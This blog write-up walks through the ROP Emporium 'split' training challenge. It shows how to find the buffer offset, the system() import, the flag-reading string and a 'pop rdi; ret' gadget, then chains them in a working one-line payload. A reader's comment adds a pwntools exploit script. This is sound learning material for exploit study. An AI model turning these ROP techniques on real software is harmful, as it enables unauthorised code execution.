In this challenge the elements that allowed you to complete the ret2win challenge are still present, they’ve just been split apart. Find them and recombine them using a short ROP chain.
The binary and challenge description can be found here:
https://ropemporium.com/challenge/split.html
This challenge bumps up the difficulty a bit. We’ll need to build a small ROP chain to get the binary to perform the same actions as the ret2win challenge.
First, let’s get the binary and run it:
andrew ~ $ wget --quiet https://ropemporium.com/binary/split.zip andrew ~ $ unzip split.zip Archive: split.zip inflating: split extracting: flag.txt andrew ~ $ ./split split by ROP Emporium 64bits Contriving a reason to ask user for data... > stuff Exiting
Same functionality as before, though the length of the buffer is not specified. It’s probably the same, but I’ll want to verify anyway. Unfortunately, overwriting beyond the saved return pointer on the stack results in the RIP register not actually getting the overwritten value:
andrew ~ $ sudo dmesg -C andrew ~ $ python2 -c 'print "A"*200' | ./split split by ROP Emporium 64bits Contriving a reason to ask user for data... > Segmentation fault (core dumped) andrew ~ $ dmesg -t traps: split[109086] general protection fault ip:400806 sp:7ffc20ef29e8 error:0 in split[400000+1000]
This happened with the ret2win challenge as well, I just didn’t demonstrate it since the ret2win page tells you to use 45 bytes to overflow the buffer. I think it has to do with the protections in place for the binary. Fortunately, I can use the power of Bash loops to quickly figure out how many bytes of input causes a segfault:
andrew ~ $ for i in $(seq 30 50); do echo "Bytes: $i"; python2 -c "print \"A\"*$i" | ./split >/dev/null; done Bytes: 30 Bytes: 31 Bytes: 32 Bytes: 33 Bytes: 34 Bytes: 35 Bytes: 36 Bytes: 37 Bytes: 38 Bytes: 39 Bytes: 40 Segmentation fault (core dumped) Bytes: 41 Segmentation fault (core dumped) Bytes: 42 Segmentation fault (core dumped) Bytes: 43 Segmentation fault (core dumped) Bytes: 44 Segmentation fault (core dumped) Bytes: 45 Segmentation fault (core dumped) ... andrew ~ $ sudo dmesg -C andrew ~ $ python2 -c 'print "A"*45' | ./split split by ROP Emporium 64bits Contriving a reason to ask user for data... > Segmentation fault (core dumped) andrew ~ $ dmesg -t split[110005]: segfault at a4141414141 ip 00000a4141414141 sp 00007fff59067ee0 error 14 in libc-2.30.so[7f7abc2d2000+25000] Code: Bad RIP value.
As predicted, this is the same as with the ret2win challenge. On to building a ROP chain. The “split challenge” page says that we should verify the two elements that are necessary to complete this, the "/bin/cat flag.txt"
string and the call to system(). rabin2
can help us with that:
andrew ~ $ rabin2 -z split [Strings] Num Paddr Vaddr Len Size Section Type String 000 0x000008a8 0x004008a8 21 22 (.rodata) ascii split by ROP Emporium 001 0x000008be 0x004008be 7 8 (.rodata) ascii 64bits\n 002 0x000008c6 0x004008c6 8 9 (.rodata) ascii \nExiting 003 0x000008d0 0x004008d0 43 44 (.rodata) ascii Contriving a reason to ask user for data... 004 0x000008ff 0x004008ff 7 8 (.rodata) ascii /bin/ls 000 0x00001060 0x00601060 17 18 (.data) ascii /bin/cat flag.txt andrew ~ $ rabin2 -i split [Imports] Num Vaddr Bind Type Name 1 0x004005d0 GLOBAL FUNC puts 2 0x004005e0 GLOBAL FUNC system 3 0x004005f0 GLOBAL FUNC printf 4 0x00400600 GLOBAL FUNC memset 5 0x00400610 GLOBAL FUNC __libc_start_main 6 0x00400620 GLOBAL FUNC fgets 7 0x00000000 WEAK NOTYPE __gmon_start__ 8 0x00400630 GLOBAL FUNC setvbuf
Now I’ll need to learn how the call to system() is made while passing a string as an argument. For that, I’ll look at the ret2win binary as an example:
[0x00400650]> aa [Cannot analyze at 0x00400640g with sym. and entry0 (aa) [x] Analyze all flags starting with sym. and entry0 (aa) [0x00400650]> pdf @ sym.ret2win ┌ (fcn) sym.ret2win 32 │ sym.ret2win (); │ 0x00400811 push rbp │ 0x00400812 mov rbp, rsp │ 0x00400815 mov edi, str.Thank_you__Here_s_your_flag: ; 0x4009e0 ; "Thank you! Here's your flag:" │ 0x0040081a mov eax, 0 │ 0x0040081f call sym.imp.printf ; int printf(const char *format) │ 0x00400824 mov edi, str.bin_cat_flag.txt ; 0x4009fd ; "/bin/cat flag.txt" │ 0x00400829 call sym.imp.system ; int system(const char *string) │ 0x0040082e nop │ 0x0040082f pop rbp └ 0x00400830 ret
This shows that all I need to do is get the address of the string into EDI/RDI and make the call to system(). What I can do, it put the address of the string (0x601060) onto the stack, pop that into RDI (since this is 64-bit after all), then call system().
First, as a proof-of-concept, I’d like to make sure I can exploit the binary. Fortunately, there’s an unused function that I can force the program to call:
[0x00400650]> fs imports [0x00400650]> f~system 0x004005e0 6 sym.imp.system [0x00400650]> axF sym.imp.system Finding references of flags matching 'sym.imp.system'... [0x004009b0-0x00400a84] sym.usefulFunction 0x400810 [CALL] call sym.imp.system Macro 'findstref' removed. [0x00400650]> pdf @ sym.usefulFunction ┌ (fcn) sym.usefulFunction 17 │ sym.usefulFunction (); │ 0x00400807 push rbp │ 0x00400808 mov rbp, rsp │ 0x0040080b mov edi, str.bin_ls ; 0x4008ff ; "/bin/ls" │ 0x00400810 call sym.imp.system ; int system(const char *string) │ 0x00400815 nop │ 0x00400816 pop rbp └ 0x00400817 ret
I used the analyze xreferences Flags command to find any cross references to the sym.imp.system
flag. In this case, radare2 tells me that it’s called by usefulFunction(). It seems the only purpose of that function is to run the /bin/ls
command.
Let’s overwrite the saved return pointer on the stack to redirect the flow of execution to there:
andrew ~ $ python2 -c 'import struct;print "A"*40 + struct.pack("Q",0x400807)' | ./split split by ROP Emporium 64bits Contriving a reason to ask user for data... > Desktop Documents Downloads exploit-pattern flag.txt profile.rr2 ret2win split 'VirtualBox VMs' Segmentation fault (core dumped)
There it is! Right before the segfault is the listing of files in my current directory. Now I can build a ROP chain to get the binary to spit out the contents of flag.txt. The input to the binary will look something like this:
"A" * 40 => buffer Address1 => "pop edi" gadget Address2 => "/bin/cat flag.txt" Address3 => system()
So now, we’ve got to actually find the gadget. radare2 has as gadget searching mechanism using the /R
command. However, I can’t seem to get it to work properly. No matter. I can use Ropper, a Python-based tool for searching for gadgets:
andrew ~ $ ropper --file split --search "pop rdi; ret" [INFO] Load gadgets from cache [LOAD] loading... 100% [LOAD] removing double gadgets... 100% [INFO] Searching for gadgets: pop rdi; ret [INFO] File: split 0x0000000000400883: pop rdi; ret;
Great! It found one. Now I’ve got all the addresses I need. The input should now look like:
"A" * 40 => buffer 0x400883 => "pop edi" gadget 0x601060 => "/bin/cat flag.txt" 0x4005e0 => system()
Now I should be able to put it all together. If it were any more complex, I’d probably write a Python script, but I can squeeze this onto a single line:
andrew ~ $ python2 -c 'import struct;print "A"*40 + struct.pack("Q",0x400883)+struct.pack("Q",0x601060)+struct.pack("Q",0x4005e0)' | ./split split by ROP Emporium 64bits Contriving a reason to ask user for data... > ROPE{a_placeholder_32byte_flag!} Segmentation fault (core dumped)
Perhaps in the future I’ll learn how to use the pwntools Python library.
Hi there,
thanks for your site it’s very helpful. I learned a lot from you. BTW, here is a simple solution for the same task using pwntools library in Python:
”
from pwn import *
binary=ELF(‘split’)
junk= ‘A’*40 # buffer overflow at RBP register
pop_rdi=p64(0x00400883) # ‘pop rdi; ret’ gadget address
usefulstring=p64(0x00601060) # ‘/bin/cat flag.txt’ useful string address
system=p64(binary.symbols.system) # the system() call address
payload= “”
payload+=junk
payload+=pop_rdi
payload+=usefulstring
payload+=system
io=process(binary.path)
io.recvuntil(‘> ‘)
io.sendline(payload)
log.success(io.recv(512))
io.close()
”
I hope it helps 🙂 .
Regards,
qmi
Thanks! I’ve been meaning to take the time to learn how to use pwntools. This should be a good starting point.